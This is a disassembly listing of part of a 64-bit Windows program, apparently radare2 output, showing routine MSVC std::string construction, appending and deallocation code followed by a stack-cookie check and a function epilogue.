mov rdx, qword [rbp - 0x30]
mov rax, rdx
sub rax, rcx
cmp rax, 6
jb 0x14000281e
lea rax, [rcx + 6]
mov qword [rbp - 0x38], rax
lea rbx, [rbp - 0x48]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x48]
add rbx, rcx
mov r8d, 6
lea rdx, str._ne_93m
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 6], 0
lea rax, [rbp - 0x48]
jmp 0x14000283c
mov qword [rsp + 0x20], 6
lea r9, str._ne_93m
mov edx, 6
lea rcx, [rbp - 0x48]
call fcn.140003a20
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x18]
call fcn.140001500
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400028a3
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000289d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000289d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400028e1
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
movdqa xmm0, xmmword [0x140006bb0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002933
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000292d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000292d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002972
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000296d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000296d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
movdqa xmm0, xmmword [0x140006bb0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400029c2
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
movdqa xmm0, xmmword [0x140006bb0]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140002a11
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
mov r14, qword [rbp + 0x70]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xe
jb 0x140002cf9
lea r15, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r15, qword [rbp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea rsi, [r14 + 0xe]
mov ebx, 0xf
lea rdi, [rbp - 0x68]
cmp rsi, rbx
jbe 0x140002ad8
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002a9a
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004380
test rax, rax
je 0x140002c1e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002ad4
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002ac2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002cff
jmp 0x140002a7b
test rcx, rcx
je 0x140002ad1
call fcn.140004380
mov rdi, rax
jmp 0x140002ad4
mov rdi, r12
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rbx
movsd xmm0, qword [str.__]
movsd qword [rdi], xmm0
mov eax, dword [0x140006b80]
mov dword [rdi + 8], eax
movzx eax, word [0x140006b84]
mov word [rdi + 0xc], ax
lea rcx, [rdi + 0xe]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 6
jb 0x140002b5e
lea rax, [rcx + 6]
mov qword [rbp - 0x58], rax
lea rbx, [rbp - 0x68]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x68]
add rbx, rcx
mov r8d, 6
lea rdx, str._ne_93m
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 6], 0
lea rax, [rbp - 0x68]
jmp 0x140002b7c
mov qword [rsp + 0x20], 6
lea r9, str._ne_93m
mov edx, 6
lea rcx, [rbp - 0x68]
call fcn.140003a20
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x38]
call fcn.140001500
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002be8
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002be2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002be2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140001d56
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
jmp 0x140001d56
call fcn.1400043c4
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140002c73
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140002cc7
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002cc2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
xor eax, eax
mov rcx, qword [rbp + 0x1690]
xor rcx, rsp
call fcn.140004360
lea r11, [rsp + 0x17a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3